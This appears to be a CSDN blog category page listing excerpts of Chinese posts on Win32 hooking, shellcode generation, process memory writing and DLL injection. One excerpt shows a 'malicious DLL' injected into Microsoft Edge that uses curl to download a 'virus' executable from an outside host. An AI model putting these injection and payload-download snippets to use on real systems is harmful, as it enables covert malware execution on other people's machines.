
win32
文章平均质量分 59
azraelxuemo
这个作者很懒,什么都没留下…
展开
-
Inline Hook
Inline Hook的主要原理就是修改代码指令跳转到自己函数再跳转回去完成未完成的任务文章目录远程进程方式Inline HookProcess.hProcess.c主函数远程进程方式Inline HookProcess.h这里本来想写一个类,用来实现远程进程获取内存的,但没有特别好的思路,就写了一般#pragma once#ifndef __Process_HEADER#define __Process_HEADER#include<windows.h>#include<原创 2022-01-26 10:53:48 · 338 阅读 · 0 评论 -
一个简单用来生成shellcode的类
前几天在生成shellcode的时候用的硬编码,后来自己写了个类,可以用来接收一些地址什么的动态生成class SHELLCODE {public: int size; int now_point; BYTE* shellcode; SHELLCODE(int size); void append(BYTE payload); void append(WORD payload); void append(DWORD payload); void push(LONG payload);原创 2022-01-26 08:53:15 · 240 阅读 · 0 评论 -
IAT HOOK
IAT Hook通过修改输入表的地址使应用调用函数的时候跳转到恶意代码区域这里我们获取到了指定进程的指定dll中导入的指定函数的地址和该IAT的地址,只要把该IAT修改了就可以达到hook的目的但如果用远程线程的方式是无法完成传统意义上的IAT HOOK因为如果我们修改了IAT里的地址,相当于目标进程调用了我们在目标进程空间里面自定义的函数,参数也只有默认的参数,但最后我们如果想要回跳到原始正常的函数,就需要获取到这个函数的地址,但对于我们远程线程的方式,是无法告诉他这个地址的,只能使用dll的方式原创 2022-01-25 15:49:00 · 524 阅读 · 0 评论 -
往其他进程写入代码
文章目录获取进程handle主程序怎么写首先定义一个函数指针构造结构体编写回调函数主函数获取进程handle这里我写了三个子函数,原理一摸一样,只是方便调用DWORD GetProcessIdByName(WCHAR* FileName) { if (!FileName) { return 0; } HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (INVALID_HANDLE_VALUE原创 2022-01-21 11:34:59 · 610 阅读 · 0 评论 -
获取其他进程的IMAGE_BASE
文章目录获取进程获取IMAGE_BASEZwQueryInformationProcessNtQueryInformationProcessEnumProcessModules(不稳定不推荐)获取进程要获取其他的进程的IMAGE_BASE,首先要获取到其他进程,我们封装一个获取进程的APIHANDLE GetProcessHandle(WCHAR* ProcessName) { HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCES原创 2022-01-20 16:29:31 · 1205 阅读 · 0 评论 -
dll注入与病毒迁移
首先看一下成果注入到Microsoft edge恶意dll编写首先用vstuido新建一个动态链接库这里只用把dllmain.cpp写了就可以build项目#include "pch.h"#include<windows.h>//Createhread需要用上#include<stdlib.h>//System命令void DownloadVirus() { system("curl http://baidu.com/virul.exe -o a.exe"原创 2022-01-18 18:18:41 · 1228 阅读 · 0 评论 -
获取当前进程的IMAGE_BASE
在实战中可能我们很多操作需要基于IMAGE_BASE,下面就给大家介绍一下怎么获取IMAGE_BASE获取当前线程的IMAGE_BASEGetModuleHandle#include<windows.h>#include<stdio.h>int main() { HMODULE hModule = GetModuleHandle(NULL); PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule; if (原创 2022-01-19 17:24:38 · 1516 阅读 · 0 评论 -
获取其他进程
在一般实战中,我们都需要去控制已有的正常程序的运行流程,那么首先要获取其他进程的句柄文章目录获取系统里正在运行的进程CreateToolhelp32Snapshot获取系统里正在运行的进程CreateToolhelp32Snapshot#include<stdio.h>#include<windows.h>#include<tlhelp32.h>int main() { WCHAR ProcessName[] = L"1.exe"; HANDLE hSn原创 2022-01-20 10:32:33 · 451 阅读 · 0 评论